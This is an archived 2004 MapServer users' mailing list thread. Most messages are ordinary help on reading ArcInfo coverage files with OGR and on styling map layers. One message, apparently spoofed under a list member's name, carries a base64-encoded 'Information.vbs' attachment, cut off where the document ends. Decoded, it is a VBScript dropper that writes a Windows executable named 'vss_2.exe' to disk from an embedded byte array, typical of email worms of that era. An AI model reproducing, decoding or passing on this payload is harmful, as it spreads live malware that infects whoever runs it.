Mon, 03 May 2004 21:12:01 -0400 Subject: [Mapserver-users] Drawing ADF Files with Mapserver In-Reply-To: <4096DF73.7060201@refractions.net> References: <4096DF73.7060201@refractions.net> Message-ID: <4096EDE1.4000406@dmsolutions.ca> Richard Gould wrote: > > And here is MapServer hating me: > > *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR > connection `corp/tbec'. File not found or unsupported format. in > */home/www/htdocs/viewer/out/map.php* on line *161* > Perhaps try using an absolute path to the coverage directory in the CONNECTION string and see if that helps. Also, which version of GDAL/OGR are you using? I think coverage support was added only around 1.1.9 (or was it 1.1.8?). You may want to try opening the coverage using ogrinfo and see if OGR can read itat all. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mapserver at resellmo.com Sun May 2 22:06:05 2004 From: mapserver at resellmo.com (K Resellmo) Date: Mon, 03 May 2004 00:06:05 -0500 Subject: [Mapserver-users] Lines between points and polygon colors Message-ID: <6.0.1.1.2.20040503000112.027b2340@resellmo.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I have two questions about MapServer features: 1. Is it possible to use the MapServer symbol capabilities to draw lines between points? I have several sets of points that I would like to display using both a graphic to mark the point, and a line to connect the points. 2. Can I display polygons in different colors? (like a political map with different colors for different countries) Thanks for your time! Kris -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.2 iQA/AwUBQJb8Kp4XWyzLnsoNEQJe8QCfcznektK5ltIgL9EnBBiBKj62isgAoNUY bkWw9Bc97Xwdk2e+dXWNp1jf =cBPQ -----END PGP SIGNATURE----- From TMitchell at lignum.com Mon May 3 19:48:18 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 3 May 2004 19:48:18 -0700 Subject: [Mapserver-users] Drawing ADF Files with Mapserver In-Reply-To: <4096DF73.7060201@refractions.net> Message-ID: > I am attempting to render a directory of adf files as a layer within my > mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of > thing, especially the ADF files. You are probably dealing with ArcInfo coverages, which are a collection of *.adf files in folders. You will probably also need to specify a layer number for the type of feature you what from that coverage. I agree with Daniel, grab the latest version of the mapserver binary you can get and a copy of the gdal/ogr distribution for your platform. Use "ogrinfo" and the path to the folder. You will get a list of "layers" in that folder, for example, I have a coverage called biogeo5 and can use ogrinfo to interogate it thusly: $ ogrinfo /cygdrive/e/data/spatial/regional/msrm/ecology/biogeo5/ Had to open data source read-only. INFO: Open of `/cygdrive/e/data/spatial/regional/msrm/ecology/biogeo5/' using driver `AVCBin' successful. 1: ARC (Line String) 2: CNT (Point) 3: LAB (Point) 4: PAL (Polygon) There are 4 layers. To use these layer numbers in Mapserver, you will need to use layer num - 1. For example, if you just want the line strings of the qbec coverage you will need to append append the layer num (-1) to the connection string. I see that you were wanting polygons, 4: PAL (Polygon) so use the layer thusly: CONNECTION "/corp/tbec,3" See how that works for you. > *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR > connection `corp/tbec'. File not found or unsupported format. in > */home/www/htdocs/viewer/out/map.php* on line *161* It is still possible that "file not found" is correct, so make sure your path is right and as suggested, use the full path when testing and terse it up a bit as you get comfortable that it works. > I have been sitting here reading/scouring docs and the userlist all day > looking for suggestions/examples and have run out. The key to search on is "mapserver", "coverage" and "connectiontype ogr" - should give you a good swath of ideas via google. Tyler From steve.lime at dnr.state.mn.us Mon May 3 20:59:46 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 03 May 2004 21:59:46 -0600 Subject: [Mapserver-users] RE: Text message Message-ID: ----------jmqynpznixdnldhblqep Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------jmqynpznixdnldhblqep Content-Type: application/octet-stream; name="Information.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Information.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4 MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1 MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1 NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2 LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5 NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0 LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2 LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5 LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0 LDE5MSwxMzMsMTMsMTc4LDIzNywyMzgsMTgyLDgsMjAzLDUsMjQ1LDc2LDE3NSw5LDE5Miwx MTQsMjEsMTEyLDIzNiwyMTksMTMzLDE4Myw1LDE5MiwxODcsMTkzLDQwLDEzNiwyNDgsNDAs NCw1NywxNDMsNDcsMjE2LDE4MywyMywyMjAsMjE3LDEwNiwyLDE4NSwxNDMsMjQyLDExMiwy NDksNjAsNywxMTIsMTA4LDE5NiwyMiwyMTgsMTg1LDI1MSw1LDIyMCwxLDg3LDE0MCwyLDI1 NCwxODEsMjQ2LDIyNywyMjgsMTg2LDQsMjcsNzksMywyMzgsMTk0LDExNCwxNzUsMTA5LDIz OSwyMTksMjIxLDk5LDE3NSw2LDEzLDYsMTEyLDEyLDQsMjMsMTQ1LDE5NCwxNTUsMjM1LDky LDEzOSwxNiwyNiw5LDUsMjQ4LDEyMiwxNjQsMTEzLDIyMSwxODYsMTgzLDExMSw2NCwyMDIs MjM4LDIwMiw1LDUsMjQsNTgsMTEyLDM1LDI0OSw0LDYsMTE0LDIyMyw2Miw3MywxNzUsOTYs MjMwLDI1LDExMywxODYsMTk4LDI0OSw1LDI0NSw3NywxODYsMjUyLDEzMywyMjEsNDUsOCwy MTQsMjI2LDY2LDIxMCwxMTYsMTMsMTU5LDIxOCwxNDAsMjQ3LDIxNCwxNTAsMTc1LDE2OCwy OSw1LDI0OSw1NiwyNTUsMTM2LDI4LDE1MCwxNzMsMTI0LDE1MiwyNDYsMTksNDMsNSw2MCwy MzgsMjQ2LDIzLDEwOCwyMjgsMTk0LDIzLDY3LDIzNCwyMCwyMjEsMTYsMTYzLDEwNywxOTAs MjEsMTE3LDE3OCw4LDE3MCwxNDQsMTE2LDI1MSwyMTgsMjEwLDE1NSwxODMsMTc5LDkxLDUs MTk0LDExMywxMTMsMTg1LDEwNywyMjMsMjU0LDE5MSwxNjEsMTEsMjA5LDQ4LDExMywxNjks MjQyLDI0OSw0MywyNDksMTY5LDI0NiwxMTUsMjIxLDUsMTM3LDIzNCwxMTcsMTgyLDIzLDI0 MiwxNTcsMTkwLDExOCwyMzgsMjUxLDUsNjMsMTgxLDE3LDYyLDE2MCw5OSwyMzcsMTE5LDU5 LDE0NCwyMTAsOSwxNSw2LDE4LDI0NiwxMTcsNTksNSwyMzQsMjMsMjAyLDE3OCw0NCwyLDIz OCw2LDU3LDE4NSwyMjIsMjUzLDIwMiwyMDEsMTUwLDIxOCwyNiwyMjMsMTU2LDUsMjUsMTg2 LDE3MCw3NywxODIsMjE3LDIyMywyMTIsMjUxLDE3MCwxNzAsNjEsMTIyLDQyLDI1MCwwLDks NDYsMTA4LDE0MywxMDksNTIsMjA3LDIzNCwzMywyNDIsMzcsMjEwLDE3LDI0OSw1OCw2LDIy OCwxOTgsMTY3LDMzLDM3LDEzLDI1MSwxNDQsMjUxLDEwNCwxOTksMjA1LDIzOCwxODIsMTUw LDY5LDg4LDIzMiwyMyw1LDE2OCwyNDIsMTcsNDEsMjQ2LDI1NCwyNTMsMjMyLDExOSwxNzUs MiwxMzcsMjQ4LDYxLDE4NCwyNTQsNzksMzUsMjUzLDc1LDI0OCw5NCwyMjEsMTUzLDYsMzYs NDYsMjM4LDI0NSwyMTUsMTc4LDE3NywyMTksMTcyLDExOSwxOSw2MSwyNTIsMTMxLDE4OCw0 OCwxMDUsOTAsMTc2LDE1LDIzNiwxNDQsMjQ4LDQ5LDExMywyNTIsMTY0LDk5LDIzLDM5LDEz NSwxODUsMTc5LDc2LDExOSwyNDgsMTgsMjUwLDEyOCwxMzksMTA4LDE3NywzNywxMzcsODks MjQ4LDEzOCwxNTEsMjA1LDIwNCw1NSwzMyw1MywxODIsOTEsMjI2LDEwNSw0NCwyNDcsOTYs NTAsMTIzLDYyLDEzMCwyOSwxNzMsMjQ5LDI0OCw4LDQ0LDE4NCwyMzgsMTQ2LDUxLDEyMiwy MDMsOTksMTkyLDIxLDE5MCwyMjEsMzIsMjQwLDE4NiwxNDIsMTkwLDMsMTIyLDI1LDExOSwx MjcsNDUsMTcwLDc1LDU0LDk2LDE5MSwyMjgsOTEsMTkzLDIzMSwyLDI0LDkwLDE0NiwyNTEs NzAsMTYwLDIzNCwzMCw1MSwzNiwxMDAsNjgsOTUsMTgzLDEwOCwzOSwzNSwxOSwxOCwxNzMs MjMwLDE4LDIyNiwxNTEsOTAsMTYzLDEyNCwyMjUsNDAsMTk4LDEyNCwxNTYsNjEsMTkxLDAs MTMyLDk3LDIyMiwyMywxOTAsNTMsMTEsNSwxODMsMCwxMywyNywyMjQsMTQ0LDE4NiwxOCwy MjcsOTMsODAsMTgyLDE0MywyMjEsMjAxLDI1MywyMTAsMTk0LDIyLDExNywxODksMjU0LDUs MTAsMTg4LDEwNSwxODIsMjA1LDIwNSwxMDcsMTU2LDcsMjQ2LDAsMjQ0LDYxLDE4OSwyMzQs MTA2LDIwNywyMTIsMzQsNjMsMzEsMTU5LDEwLDYzLDI3LDIxNiwyMTgsMjE4LDIxMCwyMjks NTIsMjYsMTA0LDI0OSw1NCwxNTcsMjQyLDIzOSwzOSwyMjUsMTk0LDExNSwxODksNjksNjEs MTY1LDMxLDI2LDE2OSwxNzMsMjAxLDUsMjIyLDY3LDcxLDIxMSwxMjksMTQ5LDE3NiwxMTAs MTY3LDExMSwyMzgsMjI1LDEwNCw3LDIyMiw4OCwxMDgsMjM4LDE0LDIwNCwyMDgsMjAsMjQ4 LDIzNSw5OSwyNCw2LDIxNCwyMzQsMTgsMjI5LDE5OCw4NiwyNDUsMTI2LDEyNywxMTUsMTM1 LDgsNDksMjksNywxNDIsMTAsOSwyMDMsMjAzLDE5NSwxNzUsNTgsMjAwLDUxLDE5NSw0Mywy LDE1OSwxNDQsMjQ0LDI0LDExOCwyMjMsMTQ5LDI3LDE2MCwxNzQsMCwyMTcsMjQsMTg0LDE4 Myw2NiwyNDQsMzYsMjQ5LDI0OSwyNDYsOTcsMTA3LDIyMCwyOSwyMiwyNDksMTYxLDUsMzAs NzYsMTAsMTcwLDM4LDE4OSwxOTMsMjIwLDExMCwyMDMsMTgsODgsMTE5LDE5LDIxMCwxMjIs MjMzLDE1OCw3NSwyMTAsMTgsMTE3LDE1NCwxMzksMTksMTI5LDExNCwzMSwxMTYsMTU5LDcs MTgzLDEwNSwxODksMTEyLDIyLDgsMjUxLDEyLDE1OSwyMTksMjA5LDIsNSwxNjIsMTQ0LDQ2 LDIxMywxNDYsNyw4NiwzMiwyNSwxNTcsMjM4LDE2MSwxMDYsMjYsMTMzLDEwMCwxMDcsMTQz LDE5NSwyMiwzMywxNTgsMjIyLDEyLDEwLDIyNSw4LDE4NywyMTEsOTgsMjQ1LDIyMCwxOTMs MjI4LDE0NCwyNDYsMTcyLDIwNywyMzEsMTgyLDI0NywxOTksMTkzLDExOSwxMzUsMjUxLDMw LDc2LDI0OSwzNCwxMzQsMjMwLDEyMywxOTAsMTcwLDI2LDIxMiwyNTEsOSwyMDgsMTQ2LDU5 LDE5NSwxOTEsMTEwLDYsMjIyLDE2LDEsMTczLDI0OCwxOCwyMTQsMywyNTQsOCwxOTEsMTEx LDU4LDcsMjIyLDE2MCwxNDYsMjMxLDExMiwxODYsMzIsMjU0LDE0NCw0MSwxODIsMjE2LDE4 Nyw0OSwxNjgsNjIsNzAsMjQ4LDkzLDEsMTc1LDc4LDIwMiwxNTksMTc1LDIyOCw1MiwxMzgs NjIsNDYsMjUyLDE4LDIzLDIsMTg1LDI1MSwyMzcsNywxNTQsNjYsMTcwLDU0LDE1LDE3LDIw NywxMjEsMiwyNTEsMTEsMjUwLDU0LDE3MCwxNzksNTIsMTg3LDEwMSwyMTEsMjQ4LDIzLDU0 LDE3MCwyMzEsMjQ5LDEwOSw1NCwyMDMsMTE0LDIzNCwyMzQsNSwyMzUsMjU0LDUsMjE4LDI1 NSw2NiwyMTMsMjE4LDEwMywyMzYsMjEzLDc5LDEwNiwyMjMsMTE5LDI0NCwxNDAsMTEyLDIy NCwxMzQsMjM5LDUzLDE4LDE0OSwzNiwxOCwxODAsMTkyLDc3LDUwLDE1LDEzNSwxNzYsMjM5 LDU3LDI3LDE2OSwxODQsMTg0LDEwNywyMjYsMTksMjM5LDgyLDI1NSwxOCwxNTEsMiwxMSwy NDUsMTcwLDIyLDE1MiwxMCwxOTMsMTczLDE4MSwyNTMsMSwyNDAsMTQwLDI1NSwxNSwxMzcs MTIsNCwyMDUsMTcwLDYsMjI5LDkzLDI0Myw3LDg0LDE3MSw5LDI0NiwxOCw3OCw3LDQ0LDg5 LDUyLDEyLDkyLDEwLDE5Myw4MSw3NCwxODIsMjExLDE5NSwxNDEsMTgyLDE3MCwxOTQsNzks MTAsNDcsMyw2LDI0LDIzMywxNCwyMjMsNDYsMjM5LDg2LDg2LDE4NiwxODMsMjYsMjA3LDE0 LDE1MCwyMTcsOTQsNjgsODAsNTMsMjcsNzQsMTIxLDIzOCwyMjUsMjQsMjAzLDYsMTkxLDc2 LDUsMjI5LDE1MiwxMCwxODIsMjI0LDE5MCwyMDAsMjIzLDEzNywyMDIsMTYsMTgsMTI5LDE5 NCwxMjUsMTE0LDEwLDI0NCwyNCwzOCwyMjIsMzAsMjM4LDYsMTE5LDIwMSwxMTcsMjMyLDks OTQsNjksNjMsMTEwLDQ3LDI0MSw4OCwxNywxMTAsNTcsMTgyLDUsMjE2LDE0Myw2NSwyMSw0 NCwyMDUsNyw2LDIzMSwzMSw3LDEwLDE4LDUyLDIwNSwyMTIsMTQsMjE3LDIwMyw3MCwxMzEs MTY5LDE2NCwxNTQsMTQsMjIwLDEsNSwxNzQsNzcsMTM2LDY5LDU2LDkxLDIwNSwyNTQsMTIy LDQ3LDExLDI0NywxNDEsMTQxLDEyMCw4NCw2OSwyNDIsODAsMzIsNDUsNiwxMTcsMTAyLDEx NSwxNzUsMjAyLDIwOSwxNSwxODAsNzgsMTM3LDIyOSwxNTgsMTA4LDE0MywzMiwyOSwxNzYs MjAsNjYsMjUxLDE4NSwxODYsMjE1LDI0MCwxOTgsMTMsNzAsMjQzLDExOSwxNzksNzAsNjcs NjEsMTQ5LDE0LDU5LDE1MiwxMiwxMTksMTM4LDM4LDEzMSwxMTMsMTksMTY2LDIyNSw1OSw4 NCwxNDMsMTc2LDEzNCw2NSwyMTcsMTA4LDExLDE4MywyMTksNDcsMTQ2LDk0LDU1LDE0Niwx ODQsOSwzMywyLDExNyw4MSw0Niw5MSw5OSwxNTIsNDEsMTc4LDIyLDI1MiwxMyw0Nyw4LDc5 LDIwNywxOTgsMjM4LDIzLDIyLDkxLDQ3LDI3LDIzOCwxNzcsMjksMTEzLDcyLDEyLDQ0LDI1 Myw2OSwyMTUsNTgsMTAsNjksMTg4LDE3NywxOTEsMTg1LDIwNSw2LDMyLDM4LDE3MCwxNzMs MTgsMTYxLDQsMjUsMjMyLDEzLDIwNCw4LDE1OSw2MSwxODUsOSwxNSwyNDgsMTEzLDM3LDEy Nyw4MiwxMTEsNzgsMTk4LDIxOSwxNTEsMTY1LDE1MiwxNiwyMDMsMjA1LDUwLDY0LDYyLDQx LDc0LDI1MiwxMjcsMjQwLDI0LDExLDI1LDIzOSw2NywzMiw1OSwyNCwyNTUsNTksMTcsMjI1 LDI0MSw0MSw5OSwxOSw0NSwxODIsMTMzLDE4OCwyNDksMjIsMjAsMTg1LDY2LDE3Niw2OSwx NjEsNzMsMjU0LDEzMiwxMzAsMTcwLDExMCwxODIsMjQ1LDIxNiw3MSwxNjMsMjA0LDkyLDEw NywyNTEsNzQsMjUsMjQ1LDE4MiwxNzgsMTMxLDIzNCwyMTcsMTgzLDI0Niw2MSwyNDgsNjks MTg2LDE3Myw4MCwxODQsMSw1NiwxMjEsMTk0LDE5MSw0NCwyNDIsNDYsMjA4LDE4NSwxODIs MTU3LDExMCwxNjAsMTE1LDI0OCwxMzMsMTc2LDIxNSwyOCwxNDcsMjA5LDk4LDIzLDExMSwx NjQsNDIsMTEzLDI0MiwzNiwxNDMsMjUyLDE3OSwxOTksMTEwLDIwOSwyMjQsMTYwLDE4Nywx NTMsMTgsMTY4LDQ1LDYsMjA3LDExMSwxMzksMjEsNTYsMjA1LDQ2LDI5LDE4NiwzMCwxNjEs MTIzLDU1LDIsMTg0LDQ2LDIwNiwxNzMsNjEsMTI3LDM0LDYsMjEwLDI3LDE5MCw5MywxMjks MTQ3LDEwNyw5Myw0NCwxMTUsMTI3LDI1LDExOSwxMTksMjM4LDE4MywxOTcsMjQsMjQ3LDc5 LDEyLDE4LDI5LDIzLDEwMiwxODQsNjksMTg5LDI3LDI1MSwyMTcsMTgyLDEzOCwyNDQsMTcz LDI3LDYsMTgsNDEsMjA0LDIxLDI0MSwzNiw3LDEzMiwyMTgsMTAzLDI2LDcsMTUsNCw1MSwx NDMsNDUsMjksMTA4LDExNSw5Nyw2Nyw4MywxNyw2NCwxMiw2MiwyMDYsMTY1LDY3LDUsNzgs MTczLDg4LDEyNiw2MSwyNDAsMjA2LDIwMiwxNDIsNSw4MywxOCwyNDksMzUsMjEsMTk1LDEx NywxNDAsMTk1LDMyLDExMiw2LDE3MSwyMjMsNzcsMjI1LDEwNSwxMjIsMTEwLDEzOSwxOSwz NSw4Nyw1OCw1NSw2MSwyNiwxODIsMjAwLDY3LDIzNCwzMywxMzYsMjMyLDIwNywxNCwyNTMs MTUxLDEzMyw3MCw3MCwyNDksMiwxMTgsMjUyLDY4LDM1LDEyLDI2LDEzLDEyLDIxMywxNiwy NDQsMTY5LDE0MCwyNDQsMjI1LDE1NiwyNDksMTQ2LDE3OSwxNzcsMjA2LDg5LDE4NiwzMyw5 OSwxMzUsMTAsMTYxLDE4MCwzMiwyNDgsMTU2LDIwNSwyMTYsMTk1LDU4LDI0NywyMDgsMzIs MTAsMjcsMjUwLDIyNCw0MiwxNDEsMTI1LDE0OCwxNDQsMTksMjYsMjIyLDE2MywyMzQsMTEx LDI5LDM1LDEzNiwxNzYsMTAwLDExMyw3LDE4OCwxMjMsMTk2LDE4MiwxNzMsMTkxLDI0OCwx MTEsMjEyLDkzLDE3LDEzLDI1NSw0MiwyMzQsMzQsMTEzLDUyLDIwOSwxODMsMiwxMjMsNTks MjUwLDE3Nyw1OSwxMSwyNSwxOTgsMjAsMiw1LDEyMCw5NCw5MCw0MywyMCwxMjMsNTIsNSwz MywxNjEsNDIsNjYsMTkzLDE4NSwzOCwxMDYsNjEsNDYsNSwxODMsMTU3LDIxNCwyNSwxODMs MTg3LDg5LDE3OCwyNDIsMTIzLDIsMjUwLDIwMiwxNzYsMzAsMjUzLDIyNywyNDcsMjAxLDE4 OSwxOTUsMTAxLDE1NSw3NCwyMDYsMTAsMjYsMTE3LDE5OSwxOTEsNzEsMTI5LDg5LDI3LDM3 LDIxMCwyNSwxMDgsMjA2LDE4Nyw3MywxMTUsODYsMTEyLDE4LDI1NCwxNjksMTk0LDIwNiwy MTksMTAyLDIwMywyMywxNjAsMTgsMjM2LDQ3LDE5LDE4LDI1LDM5LDE1OSw1NCwyMjEsNDcs MTU2LDE3LDUyLDI0NywyMDQsMjAxLDIxMiwyMTUsMjM4LDYxLDExNyw3LDE4NSwxMjMsNTUs MTYsMjEzLDYzLDIwMSw4LDE4NiwxNjYsMzEsNzIsNTcsMjYsMTQ2LDM1LDEwNiw5OCwxNzgs NTksMTA0LDE0MCw2MSwxOTYsMjA2LDgwLDE2OCwxNyw0MCwyMzksMTU0LDIzNCw4LDQ0LDEz MSwxODksMjYsMTcsMTY0LDE1NiwyNTEsMTcsMCwxMjYsMTg2LDEyOSwyMzksNzUsMjAxLDEz NCwyNiwxNTEsNjQsNTQsMTA0LDEwNCw2NCw2MSwxMDQsMTY5LDkzLDIxOCwzMCwyMDgsMTEy LDMxLDE1NiwyNyw1OCwxNTYsNzAsMTcxLDQ1LDU5LDI0NiwyNywxMiwzOCw2MiwyNDYsMTEs MzAsMjAxLDk5LDIzOCwxMTksMTkxLDIzOSwxNiw5OCw3MiwxNTIsMTgzLDI2LDczLDI1MCwx NDEsMTAyLDE0Niw1MCwxMDcsMTM4LDM1LDIyMywxMSwyMDAsNzEsMjAxLDE3LDM5LDExMiwy MzQsMyw1MCwyMzAsMTE4LDE0MSwxNDYsNDIsMTAzLDkxLDk2LDExNCwyMjgsMjE5LDEyLDMy LDE3MiwxNDYsNDUsODIsMTQ0LDcyLDE1Myw2NSwxNCw0NSwyMDUsMTIxLDU2LDEyOCwyMDks OCwxMTksNzUsNSwyMDMsOTksODMsMTk4LDE3OCwyNDUsNzEsMjQsMjgsMiwxMzksMjQxLDI1 